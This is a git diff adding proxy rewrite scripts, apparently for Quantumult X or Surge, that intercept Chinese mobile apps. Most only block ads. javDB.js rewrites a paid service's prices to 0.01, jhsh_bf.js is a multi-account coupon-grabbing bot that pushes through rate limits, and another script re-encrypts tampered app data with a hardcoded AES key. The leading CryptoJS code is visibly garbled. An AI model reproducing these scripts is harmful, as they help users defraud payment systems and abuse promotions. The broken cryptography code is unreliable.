CryptoJS=CryptoJS||function(u,l){var d={};var n=Object.create?function(){return Object.create(null)}:function(){return{}};var s={};var k=s.lib={};var f=k.Base=function(){function a(){}return{extend:function(b){a.prototype=this;var c=new a;b&&c.mixIn(b);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var b in a)a.hasOwnProperty(b)&& + (this[b]=a[b]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}}}();var h=k.WordArray=f.extend({init:function(a,b){a=this.words=a||[];this.sigBytes=void 0!=b?b:4*a.length},toString:function(a){return(a||p).stringify(this)},concat:function(a){var b=this.words,c=a.words,m=this.sigBytes;a=a.sigBytes;this.clamp();if(m%4)for(var z=0;z>>2]|=(c[z>>>2]>>>24-8*(z%4)&255)<<24-8*((m+z)%4);else if(65535>>2]=c[z>>>2];else b.push.apply(b,c);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=u.ceil(b/4)},clone:function(){var a=f.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],c=0;c>>2]>>>24-8*(m%4)&255;c.push((z>>>4).toString(16)); + c.push((z&15).toString(16))}return c.join("")},parse:function(a){for(var b=a.length,c=[],m=0;m>>3]|=parseInt(a.substr(m,2),16)<<24-4*(m%8);return new h.init(c,b/2)}};var p=x.Latin1={stringify:function(a){var b=a.words;a=a.sigBytes;for(var c=[],m=0;m>>2]>>>24-8*(m%4)&255));return c.join("")},parse:function(a){for(var b=a.length,c=[],m=0;m>>2]|=(a.charCodeAt(m)&255)<<24-8*(m%4);return new h.init(c,b)}};var t=x.Utf8={stringify:function(a){try{return decodeURIComponent(escape(p.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}}, + parse:function(a){return p.parse(unescape(encodeURIComponent(a)))}};var w=k.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new h.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=t.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,c=b.words,m=b.sigBytes,z=this.blockSize,e=m/(4*z),e=a?u.ceil(e):u.max((e|0)-this._minBufferSize,0);a=e*z;m=u.min(4*a,m);if(a){for(var g=0;g>>2]>>>24-8*(k%4)&255)<<16|(n[k+1>>>2]>>>24-8*((k+1)%4)&255)<<8|n[k+2>>>2]>>>24-8*((k+2)%4)&255,h=0;4>h&&k+0.75*h>>6*(3-h)&63));if(n=s.length%4)for(;4-n;)s.push("="),n++;return s.join("")},parse:function(d){var n=d.length,s=l.create(),k=0,f=0,h;for(h=0;h>>2]|=f>>>16-8*(s.sigBytes%4)&255<<24-8*(s.sigBytes%4), + s.sigBytes+=3),f=0,4==++k)k=0}else k++;return s}}})(); + (function(u){var l=CryptoJS,d=l.lib,n=d.Base,s=d.WordArray,l=l.algo,k=l.EvpKDF=n.extend({cfg:n.extend({keySize:4,hasher:l.MD5,iterations:1}),init:function(f){this.cfg=this.cfg.extend(f)},compute:function(f,h){for(var d=this.cfg,n=d.hasher.create(),k=s.create(),v=k.words,m=d.keySize,d=d.iterations;v.length>>2]&255}};d.BlockCipher=p.extend({cfg:p.cfg.extend({mode:m,padding:r}),reset:function(){p.reset.call(this);var e=this.cfg,a=e.iv,e=e.mode;if(this._xformMode==this._ENC_XFORM_MODE)var b=e.createEncryptor;else b=e.createDecryptor,this._minBufferSize= + 1;this._mode=b.call(e,this,a&&a.words)},_doProcessBlock:function(e,a){this._mode.processBlock(e,a)},_doFinalize:function(){var e=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){e.pad(this._data,this.blockSize);var a=this._process(!0)}else a=this._process(!0),e.unpad(a);return a},blockSize:4});var q=d.CipherParams=n.extend({init:function(e){this.mixIn(e)},toString:function(e){return(e||this.formatter).stringify(this)}}),m=(l.format={}).OpenSSL={stringify:function(e){var a=e.ciphertext;e=e.salt; + return(e?s.create([1398893684,1701076831]).concat(e).concat(a):a).toString(h)},parse:function(e){var a=h.parse(e),b=a.words;if(1398893684==b[0]&&1701076831==b[1]){var c=s.create(b.slice(2,4));b.splice(0,4);a.sigBytes-=16}return q.create({ciphertext:a,salt:c})}},j=d.SerializableCipher=n.extend({cfg:n.extend({format:m}),encrypt:function(e,a,b,c){c=this.cfg.extend(c);var d=e.createEncryptor(b,c);a=d.finalize(a);d=d.cfg;return q.create({ciphertext:a,key:b,iv:d.iv,algorithm:e,mode:d.mode,padding:d.padding, + blockSize:e.blockSize,formatter:c.format})},decrypt:function(e,a,b,c){c=this.cfg.extend(c);a=this._parse(a,c.format);return e.createDecryptor(b,c).finalize(a.ciphertext)},_parse:function(e,a){return"string"==typeof e?m.parse(e,a):e}}),l=(l.kdf={}).OpenSSL={execute:function(e,a,b,c){c||(c=s.random(8));e=x.create({keySize:a+b}).compute(e,c);b=s.create(e.words.slice(a),4*b);e.sigBytes=4*a;return q.create({key:e,iv:b,salt:c})}},y=d.PasswordBasedCipher=j.extend({cfg:j.cfg.extend({kdf:l}),encrypt:function(e,a, + b,c){c=this.cfg.extend(c);b=c.kdf.execute(b,e.keySize,e.ivSize);c.iv=b.iv;e=j.encrypt.call(this,e,a,b.key,c);e.mixIn(b);return e},decrypt:function(e,a,b,c){c=this.cfg.extend(c);a=this._parse(a,c.format);b=c.kdf.execute(b,e.keySize,e.ivSize,a.salt);return j.decrypt.call(this,e,a,b.key,c)}})}(); + (function(){var u=CryptoJS,l=u.lib.WordArray;u.enc.Base64={stringify:function(d){var n=d.words;l=d.sigBytes;for(var s=[],k=0;k>>2]>>>24-8*(k%4)&255)<<16|(n[k+1>>>2]>>>24-8*((k+1)%4)&255)<<8|n[k+2>>>2]>>>24-8*((k+2)%4)&255,h=0;4>h&&k+0.75*h>>6*(3-h)&63));if(n=s.length%4)for(;4-n;)s.push("="),n++;return s.join("")},parse:function(d){var n=d.length,s=l.create(),k=0,f=0,h;for(h=0;h>>2]|=f>>>16-8*(s.sigBytes%4)&255<<24-8*(s.sigBytes%4), + s.sigBytes+=3),f=0,4==++k)k=0}else k++;return s}}})(); + (function(){var u=CryptoJS,l=u.lib.WordArray;u.enc.Base64={stringify:function(d){var n=d.words;l=d.sigBytes;for(var s=[],k=0;k>>2]>>>24-8*(k%4)&255)<<16|(n[k+1>>>2]>>>24-8*((k+1)%4)&255)<<8|n[k+2>>>2]>>>24-8*((k+2)%4)&255,h=0;4>h&&k+0.75*h>>6*(3-h)&63));if(n=s.length%4)for(;4-n;)s.push("="),n++;return s.join("")},parse:function(d){var n=d.length,s=l.create(),k=0,f=0,h;for(h=0;h>>2]|=f>>>16-8*(s.sigBytes%4)&255<<24-8*(s.sigBytes%4), + s.sigBytes+=3),f=0,4==++k)k=0}else k++;return s}}})(); + CryptoJS.AES=function(){function u(b,a){this.reset();var g=0,d=[],e=b.length;for(b=0;b>>2]>>>24-8*(b%4)&255)<<24|a.charCodeAt(b)<<16|a.charCodeAt(b)<<8|a.charCodeAt(b);g^=k}this._key=g<<4|g>>>4}return{encrypt:function(b,a,g){return g=CryptoJS.lib.CipherParams.create({ciphertext:CryptoJS.enc.Base64.stringify(CryptoJS.AES.encrypt(b,a,g))})},decrypt:function(b,a,g){var d=a;c._parse(b,g.format).ciphertext=c.dec("CryptoJS.enc.Base64.parse(b)").parse(b);return d}}}(); +})(); + +// 加密密钥和 IV(Hex 格式) +const keyHex = CryptoJS.enc.Hex.parse("7f961631c923e640"); +const ivHex = CryptoJS.enc.Hex.parse("37663936313633316339323365363430"); + +// 加密的数据(此处为示例,应该替换为你实际的加密字符串) +const encryptedData = "your_encrypted_data_here"; // 替换为你实际的加密数据 + +// 解密 +const decrypted = CryptoJS.AES.decrypt(encryptedData, keyHex, { + iv: ivHex, + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7 +}); + +// 将解密后的数据转换为字符串 +const decryptedStr = decrypted.toString(CryptoJS.enc.Utf8); + +// 解析为 JSON 对象 +let jsonData = JSON.parse(decryptedStr); + +// 修改 JSON 数据 +jsonData.someKey = "newValue"; // 修改某个键值对,示例 + +// 将修改后的 JSON 对象转换为字符串 +const modifiedJsonStr = JSON.stringify(jsonData); + +// 加密 +const encryptedModified = CryptoJS.AES.encrypt(modifiedJsonStr, keyHex, { + iv: ivHex, + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7 +}); + +// 打印加密后的字符串 +console.log(encryptedModified.toString()); \ No newline at end of file diff --git a/Scripts/header.js b/Scripts/header.js new file mode 100644 index 00000000..3463db54 --- /dev/null +++ b/Scripts/header.js @@ -0,0 +1,93 @@ +// 2024-08-11 13:40 + +const url = $request.url; +const header = $request.headers; +const contype = header["Content-Type"] || header["content-type"]; +const headopt = header["Operation-Type"] || header["operation-type"]; +const ua = header["User-Agent"] || header["user-agent"]; +const isQuanX = typeof $task !== "undefined"; + +if (url.includes("/amdc/mobileDispatch")) { + if ( + ua.includes("AMapiPhone") || // 高德地图 + ua.includes("Alibaba") || // 阿里巴巴 + ua.includes("Cainiao4iPhone") || // 菜鸟 + ua.includes("%E9%A3%9E%E7%8C%AA%E6%97%85%E8%A1%8C") // 飞猪旅行 + ) { + if (isQuanX) { + $done({ status: "HTTP/1.1 404 Not Found" }); + } else { + $done(); + } + } else { + $done({}); + } +} else if (url.includes("/mobile.12306.cn/otsmobile/app/mgs/")) { + // 12306页面内容 + const list12306 = [ + // "com.cars.otsmobile.bangbangSafe.deciveInfo", // 设备序列号 + // "com.cars.otsmobile.checkLoginStatus", // 登录信息 + // "com.cars.otsmobile.city", + // "com.cars.otsmobile.initCountry", + // "com.cars.otsmobile.initNewSysCache", + // "com.cars.otsmobile.initProvince", + "com.cars.otsmobile.integration.activityBanner", // 活动横幅 + "com.cars.otsmobile.memberInfo.getMemberQa", // 铁路会员 常见问题 + // "com.cars.otsmobile.memberInfo.integrationHomeInit", // 铁路会员 会员信息 + // "com.cars.otsmobile.newHomePage.getWeatherByStationCode", // 天气信息 + "com.cars.otsmobile.newHomePage.initData", // 热门资讯 + "com.cars.otsmobile.newHomePageBussData", // 商品信息流 + // "com.cars.otsmobile.newHomePageRefresh", + "com.cars.otsmobile.paySuccBuss.bussEntryShow" // 商业推广 + // "com.cars.otsmobile.travelPage.initData", // 出行服务 + ]; + if (isQuanX) { + if (list12306?.includes(headopt)) { + $done({ status: "HTTP/1.1 404 Not Found" }); + } else { + $done({}); + } + } else { + if (list12306?.includes(headopt)) { + $done(); + } else { + $done({}); + } + } +} else if (url.includes("/mobilepaas.abchina.com.cn:441/mgw")) { + // 中国农业银行开屏广告 + const listbankabc = [ + "com.bankabc.recommendcenter.homepage.gethpadverinfo", + "com.abchina.mbank.common.homepage.getStartParam" + ]; + if (isQuanX) { + if (listbankabc?.includes(headopt)) { + $done({ status: "HTTP/1.1 404 Not Found" }); + } else { + $done({}); + } + } else { + if (listbankabc?.includes(headopt)) { + $done(); + } else { + $done({}); + } + } +} else if (url.includes("/sec.sginput.qq.com/q")) { + // 搜狗输入法候选词推广 + if (isQuanX) { + if (contype === "application/octet-stream") { + $done({ status: "HTTP/1.1 404 Not Found" }); + } else { + $done({}); + } + } else { + if (contype === "application/octet-stream") { + $done(); + } else { + $done({}); + } + } +} else { + $done({}); +} diff --git a/Scripts/hengdian.json b/Scripts/hengdian.json new file mode 100644 index 00000000..d2c3ff83 --- /dev/null +++ b/Scripts/hengdian.json @@ -0,0 +1,32 @@ +{ + "code": "200", + "data": { + "bannerSettingsDetailList": [ + { + "author": "", + "datetime": null, + "productCode": "", + "title": "", + "integralRedemptionDetails": "", + "bannnerUrl": "null", + "confUrl": "", + "description": "", + "movieNum": "", + "promotionLinkPage": "0", + "sequenceNum": "0" + } + ], + "cinemaGroupName": "", + "cinemaName": "", + "endDate": "2023-12-31 23:59:59", + "groupSettingsResponse": null, + "id": "26", + "placingPosition": "1", + "startDate": "2021-03-01 00:00:00", + "cinemaCode": "", + "name": "启动页" + }, + "timestamp": "1688799977563", + "msg": "OK", + "ok": "true" +} diff --git a/Scripts/heytea.js b/Scripts/heytea.js new file mode 100644 index 00000000..96d73441 --- /dev/null +++ b/Scripts/heytea.js @@ -0,0 +1,5 @@ +let obj=JSON.parse($response.body); +delete obj.data.ad ; +delete obj.data.brands ; +delete obj.data.info.infos ; +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/huifutianxia_ads.js b/Scripts/huifutianxia_ads.js new file mode 100644 index 00000000..8ce7f26a --- /dev/null +++ b/Scripts/huifutianxia_ads.js @@ -0,0 +1,17 @@ +/** + * 汇付天下 + * 2024-08-12 19:00:37 + */ +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if (url.includes("api/miniapp/popular/T_MINIAPP")) { + delete obj.data; +} + +if (url.includes("/api/tactics/ad")) { + obj.data.splice(0, 3); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/ithome/ithome.js b/Scripts/ithome/ithome.js new file mode 100644 index 00000000..795ecbfa --- /dev/null +++ b/Scripts/ithome/ithome.js @@ -0,0 +1,37 @@ +// 2023-08-21 10:25 + +/** + [rewrite_local] + ^https:\/\/napi\.ithome\.com\/api\/(news\/index|topmenu\/getfeeds) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ithome/ithome.js + + [mitm] + hostname = napi.ithome.com + */ + +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if ( + url.includes("/api/news/index") || + url.includes("/api/topmenu/getfeeds") +) { + if (obj?.data?.list?.length > 0) { + let list = obj.data.list; + const newList = []; + for (let item of list) { + if (item?.feedContent?.smallTags?.some((i) => + i?.text?.includes("广告")) + ) { + continue; + } + if ([10002, 10003].includes(item?.feedType)) { + continue; + } + newList.push(item); + } + obj.data.list = newList; + } +} + +$done({ body: JSON.stringify(obj) }); \ No newline at end of file diff --git a/Scripts/jabi.js b/Scripts/jabi.js new file mode 100644 index 00000000..9d1d9eaa --- /dev/null +++ b/Scripts/jabi.js @@ -0,0 +1,11 @@ + +var date= $response.body.match(/"date":"[^"]*"/g); + +var body= $response.body.match(/"download":"[^"]*"/g); + +console.log(body); + +$notify("扎比科技","", '\n'+date[0]+'\n'+body[0]+'\n\n'+date[1]+'\n'+body[1]+'\n\n'+date[2]+'\n'+body[2]); + +$done({ body }); + diff --git a/Scripts/javDB/javDB.js b/Scripts/javDB/javDB.js new file mode 100644 index 00000000..fed2b4b9 --- /dev/null +++ b/Scripts/javDB/javDB.js @@ -0,0 +1,32 @@ +// ^https:\/\/api\.hechuangxinxi\.xyz\/api\/v4\/plans url reject-dict +// javDB.js +// hostname = api.hechuangxinxi.xyz + +let requestUrl = $request.url; +let responseBody = $response.body; + +let responseData = JSON.parse(responseBody); + +if (requestUrl.includes("/api/v4/plans")) { + if (responseData.data.plans) { + responseData.data.plans.forEach(plan => { + plan.price = 0.01; + }); + } + console.log('修改价格成功💕'); + + // responseData.data.platforms[0].channels + if (responseData.data.platforms.length > 0 && responseData.data.platforms[0].channels) { + responseData.data.platforms[0].channels.forEach(channel => { + if (channel.methods && channel.methods.length > 0) { + channel.methods.forEach(subMethods => { + subMethods.limited_prices = "1"; + }); + } + }); + } + console.log('修改支付成功💕'); +} + +console.log('返回JSON💕' + JSON.stringify(responseData)); +$done({body: JSON.stringify(responseData)}); diff --git a/Scripts/jhsh_bf.js b/Scripts/jhsh_bf.js new file mode 100644 index 00000000..18db068f --- /dev/null +++ b/Scripts/jhsh_bf.js @@ -0,0 +1,429 @@ +/* +[task_local] +# 建行生活抢券-并发 +5 29,59 * * * * jhsh_coupon.js, tag=建行生活抢券-并发, enabled=true +只能圈×抓包,搜yunbusiness.ccb.com,请求体中的USER_ID,设置JHSH_COUPON_CKS 手机号&USER_ID 多账号@分割 +https://github.com/a65101855/zyk/blob/77822527079cf4a5a0fad264f0229aae781ad413/APP/jhsh_bf.js +*/ +const $ = new Env('建行生活抢券-并发'); +const notify = $.isNode() ? require('./sendNotifySp') : ''; +const moment = require('moment'); +now_ts = moment().valueOf() +today = moment(now_ts).format('YYYY-MM-DD') +today_xingqi = moment(now_ts).format('E') +sevenOclock_ts = moment(`${today} 07:00:00`).valueOf() +eightOclock_ts = moment(`${today} 08:00:00`).valueOf() +eightHalfOclock_ts = moment(`${today} 08:30:00`).valueOf() +tenOclock_ts = moment(`${today} 10:00:00`).valueOf() +tenHalfOclock_ts = moment(`${today} 10:30:00`).valueOf() +elevenOclock_ts = moment(`${today} 11:00:00`).valueOf() +elevenHALFOclock_ts = moment(`${today} 11:30:00`).valueOf() +pmTwoHalfOclock_ts = moment(`${today} 14:30:00`).valueOf() +pmThreeHalfOclock_ts = moment(`${today} 15:30:00`).valueOf() +// test_ts = now_ts + 3000 +couponIds = '' +couponMapList = [ + { + "id": "239987", + "name": "周一7点 满2-1券", + "time": "7_1", + "getTimes": "2", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "239961", + "name": "周二7点 满3-2券", + "time": "7_2", + "getTimes": "2", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "239968", + "name": "周三7点 满4-3券", + "time": "7_3", + "getTimes": "2", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "239973", + "name": "周四7点 满5-4券", + "time": "7_4", + "getTimes": "2", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "239979", + "name": "周五7点 满6-5券", + "time": "7_5", + "getTimes": "2", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "239980", + "name": "周六7点 满7-6券", + "time": "7_6", + "getTimes": "2", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "239984", + "name": "周日7点 满8-7券", + "time": "7_7", + "getTimes": "2", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "243175", + "name": "【数币支付5折起】商超/轻餐满30元减15元券(数字人民币专属)", + "time": "8" + }, + { + "id": "243159", + "name": "【数币支付5折起】正餐满100元减50元券(数字人民币专属)", + "time": "8" + }, + { + "id": "234460", + "name": "【每日好券】青岛轻食满12元减6元券", + "time": "10", + "getTimes": "4", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "241434", + "name": "每日好券外卖满20元减6元券(龙卡信用卡专享)", + "time": "10", + "getTimes": "4", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "246994", + "name": "崂山矿泉水,周二11点", + "time": "11_2", + "getTimes": "1", + "period": "Forever", + "zoneId": "370200" + }, + { + "id": "252156", + "name": "崂山零售满300-100优惠券2(数字人民币专享)", + "time": "10_5" + }, + { + "id": "252152", + "name": "崂山零售满50-20优惠券2(数字人民币专享)", + "time": "10_5" + }, + { + "id": "143780", + "name": "周四5折胖哥俩满100减50元券-青岛(数币专享)", + "time": "10:30_4", + "getTimes": "4", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "143754", + "name": "周四5折西村叔叔满50减25元券-青岛(数币专享)", + "time": "10:30_4", + "getTimes": "4", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "198662", + "name": "周四5折笑蕾满50减25元券-青岛(数币专享)", + "time": "10:30_4", + "getTimes": "4", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "164187", + "name": "周四5折皇家美孚满50减25元券-青岛(数币专享)", + "time": "10:30_4", + "getTimes": "4", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "164194", + "name": "周四5折那些年满100减50元券-青岛(数币专享)", + "time": "10:30_4", + "getTimes": "4", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "253297", + "name": "周五话费50-40券", + "time": "8:30_5", + "getTimes": "1", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "253297", + "name": "周五话费50-40券", + "time": "14:30_5", + "getTimes": "1", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "251869", + "name": "周五外卖30-20券", + "time": "11:30_5", + "getTimes": "1", + "period": "Week", + "zoneId": "370200" + }, + { + "id": "251869", + "name": "周五外卖30-20券", + "time": "15:30_5", + "getTimes": "1", + "period": "Week", + "zoneId": "370200" + } +] +diff = -1 +if (sevenOclock_ts - now_ts <= 60 * 1000 && sevenOclock_ts - now_ts > 0) { + diff = sevenOclock_ts - now_ts + couponIds = process.env.SEVEN_OCLOCK_COUPON_IDS ? SEVEN_OCLOCK_COUPON_IDS : "239984&239980&239979&239973&239968&239961&239987" +} +if (eightOclock_ts - now_ts <= 60 * 1000 && eightOclock_ts - now_ts > 0) { + diff = eightOclock_ts - now_ts + couponIds = process.env.EIGHT_OCLOCK_COUPON_IDS ? EIGHT_OCLOCK_COUPON_IDS : "243175&243159" +} +if (eightHalfOclock_ts - now_ts <= 60 * 1000 && eightHalfOclock_ts - now_ts > 0) { + diff = eightHalfOclock_ts - now_ts + couponIds = process.env.EIGHT_HALF_OCLOCK_COUPON_IDS ? EIGHT_HALF_OCLOCK_COUPON_IDS : "253297" +} +if (tenOclock_ts - now_ts <= 60 * 1000 && tenOclock_ts - now_ts > 0) { + diff = tenOclock_ts - now_ts + couponIds = process.env.TEN_OCLOCK_COUPON_IDS ? TEN_OCLOCK_COUPON_IDS : "254554&246314" +} +if (tenHalfOclock_ts - now_ts <= 60 * 1000 && tenHalfOclock_ts - now_ts > 0) { + diff = tenHalfOclock_ts - now_ts + couponIds = process.env.TEN_HALF_OCLOCK_COUPON_IDS ? TEN_HALF_OCLOCK_COUPON_IDS : "164194&143780" +} +if (elevenOclock_ts - now_ts <= 60 * 1000 && elevenOclock_ts - now_ts > 0) { + diff = elevenOclock_ts - now_ts + couponIds = process.env.ELEVEN_OCLOCK_COUPON_IDS ? ELEVEN_OCLOCK_COUPON_IDS : "" +} +if (elevenHALFOclock_ts - now_ts <= 60 * 1000 && elevenHALFOclock_ts - now_ts > 0) { + diff = elevenHALFOclock_ts - now_ts + couponIds = process.env.ELEVEN_HALF_OCLOCK_COUPON_IDS ? ELEVEN_HALF_OCLOCK_COUPON_IDS : "251869" +} +if (pmTwoHalfOclock_ts - now_ts <= 60 * 1000 && pmTwoHalfOclock_ts - now_ts > 0) { + diff = pmTwoHalfOclock_ts - now_ts + couponIds = process.env.PM_TWO_HALF_OCLOCK_COUPON_IDS ? PM_TWO_HALF_OCLOCK_COUPON_IDS : "253297" +} +if (pmThreeHalfOclock_ts - now_ts <= 60 * 1000 && pmThreeHalfOclock_ts - now_ts > 0) { + diff = pmThreeHalfOclock_ts - now_ts + couponIds = process.env.PM_THREE_HALF_OCLOCK_COUPON_IDS ? PM_THREE_HALF_OCLOCK_COUPON_IDS : "251869" +} + +// if (test_ts - now_ts <= 60 * 1000) { +// couponIds = process.env.ELEVEN_OCLOCK_COUPON_IDS ? ELEVEN_OCLOCK_COUPON_IDS : "241434" +// } +// couponIds = '241434' +if (couponIds == '' || diff == -1) { + console.log('当前时间段没有可抢券!') + return +} +couponIdArr = couponIds.split('&') +$.url = 'https://yunbusiness.ccb.com/clp_coupon/txCtrl?txcode=A3341C040' +cookies = process.env.JHSH_COUPON_CKS ? process.env.JHSH_COUPON_CKS : '' +if (cookies == '') { + console.log('未填写建行生活抢券Cookie!') + return +} +cookieArr = cookies.split('@') +console.log(`\n==========共发现${cookieArr.length}个账号==========\n`) +$.xingqi = 0 +$.couponTime = 0 +$.message = '' +$.promiseList = [] +!(async () => { + await $.wait(diff) + a: for (let couponId of couponIdArr) { + + for (couponInfo of couponMapList) { + if (couponInfo.id == couponId) { + $.couponName = couponInfo.name + $.couponTime = couponInfo.time + if ($.couponTime.indexOf("_") > -1) { + $.xingqi = $.couponTime.split("_")[1] + $.couponTime = $.couponTime.split("_")[0] + } else { + $.xingqi = 0 + } + console.log($.xingqi) + if ($.xingqi != 0 && $.xingqi != today_xingqi) { + console.log(`\n${$.couponName} 非抢券时间`) + continue a + } + } + } + for (cookie of cookieArr) { + $.promiseList.push(main(cookie, couponId, $.couponName)) + } + } + $.message = await Promise.all($.promiseList) + if ($.message != '') { + await notify.sendNotify("建行生活抢券通知", `${$.message}`) + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function main(cookie, couponId, couponName) { + return new Promise(async resolve => { + let phone = cookie.split(';')[0] + let userId = cookie.split(';')[1] + console.log(`${time()} 账号【${phone}】开抢【${couponName}】`) + + let ua = `jdapp;iPhone;10.2.2;13.1.2;${uuid()};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` + let dict = {} + dict.hotFlag = true + dict.needWait = false + dict.isSuccess = false + dict.errMsg = '' + dict.phone = phone + dict.userId = userId + dict.ua = ua + dict.couponId = couponId + dict.couponName = couponName + for (let count = 0; count < 20; count++) { + if (dict.hotFlag == true) { + console.log(`${time()} 账号【${phone}】开始尝试第${count + 1}次抢券~`) + await getCoupon(dict) + await $.wait(300) + if (dict.needWait == true) { + await $.wait(500) + } + } else { + break + } + } + console.log(`${time()} 账号【${phone}】抢券结果 ${dict.errMsg}`) + resolve(`账号[${phone}] ${couponName} ${dict.errMsg}\n`) + }) +} + +function getCoupon(dict) { + let myRequest = getPostRequest(dict); + // console.log(type + '-->'+ JSON.stringify(myRequest)) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dict.hotFlag = false + dict.needWait = false + dict.isSuccess = false + dataObj = JSON.parse(data) + if (err) { + dict.errMsg = `抢券失败:${dataObj.errMsg}` + console.log(dict.errMsg) + if (dict.errMsg.indexOf('拥挤') > -1) { + dict.hotFlag = true + } + if (dict.errMsg.indexOf('流控检查') > -1) { + dict.needWait = true + dict.hotFlag = true + } + } else { + dict.isSuccess = true + if (data.indexOf('LIST') > -1) { + console.log(`${time()}【${dict.phone}】抢券成功,获得 ${dict.couponName}`) + dict.errMsg = `抢券成功!` + } + if (data.indexOf('coupMap') > -1) { + console.log(`${time()}【${dict.phone}】已经抢过 ${dict.couponName}`) + dict.errMsg = `已经抢过优惠券 ` + } + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function time() { + return moment().format('YYYY-MM-DD HH:mm:ss.SSSSS') +} + +function getPostRequest(dict, method = "POST") { + let headers = { + "Accept": "application/json,text/javascript,*/*", + // "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "User-Agent": dict.ua, + "Content-Type": "application/json", + // "X-Requested-With": "XMLHttpRequest", + "Host": "yunbusiness.ccb.com" + + } + body = getRequestBody(dict) + // console.log(JSON.stringify(body)) + return { url: $.url, method: method, headers: headers, body: JSON.stringify(body), timeout: 30000 }; +} + +function getRequestBody(dict) { + // return `{"req_channel_type": "1","PlatForm_Code": "MCP", "coupon_ID": ${$.couponId},"Mrch_ID": "","Mblph_No": ${$.phone},"Channel_User_ID": ${$.userId},"CLD_SOURCE_CHNL": "01","DtSrc": "MCP","MctGetCoupon_Type": "20","MS_FLAG": "0","CLD_REQ_CHANNEL": "01","MCT_CTMS": {},"COUPON_ID": ${$.couponId},"MEB_ID": ${$.userId},"USR_TEL": ${$.phone},"COUP_CHNL": "01","MSPS_ENTITY": {"PlatForm_Code": "MCP","coupon_ID": ${$.couponId},"Channel_User_ID": ${$.userId},"Mblph_No": ${$.phone},"DtSrc": "MCP"},"chnlType": "1","regionCode": "370200"}` + return { + "req_channel_type": "1", + "PlatForm_Code": "MCP", + "coupon_ID": dict.couponId, + "Mrch_ID": "", + "Mblph_No": dict.phone, + "Channel_User_ID": dict.userId, + "CLD_SOURCE_CHNL": "01", + "DtSrc": "MCP", + "MctGetCoupon_Type": "20", + "MS_FLAG": "0", + "CLD_REQ_CHANNEL": "01", + "MCT_CTMS": {}, + "COUPON_ID": dict.couponId, + "MEB_ID": dict.userId, + "USR_TEL": dict.phone, + "COUP_CHNL": "01", + "MSPS_ENTITY": { + "PlatForm_Code": "MCP", + "coupon_ID": dict.couponId, + "Channel_User_ID": dict.userId, + "Mblph_No": dict.phone, + "DtSrc": "MCP" + }, + "chnlType": "1", + "regionCode": "370200" + } +} +function uuid(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") { + return x.replace(/[xy]/g, function (x) { + const r = 16 * Math.random() | 0, n = "x" === x ? r : 3 & r | 8; + return n.toString(36) + }) +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 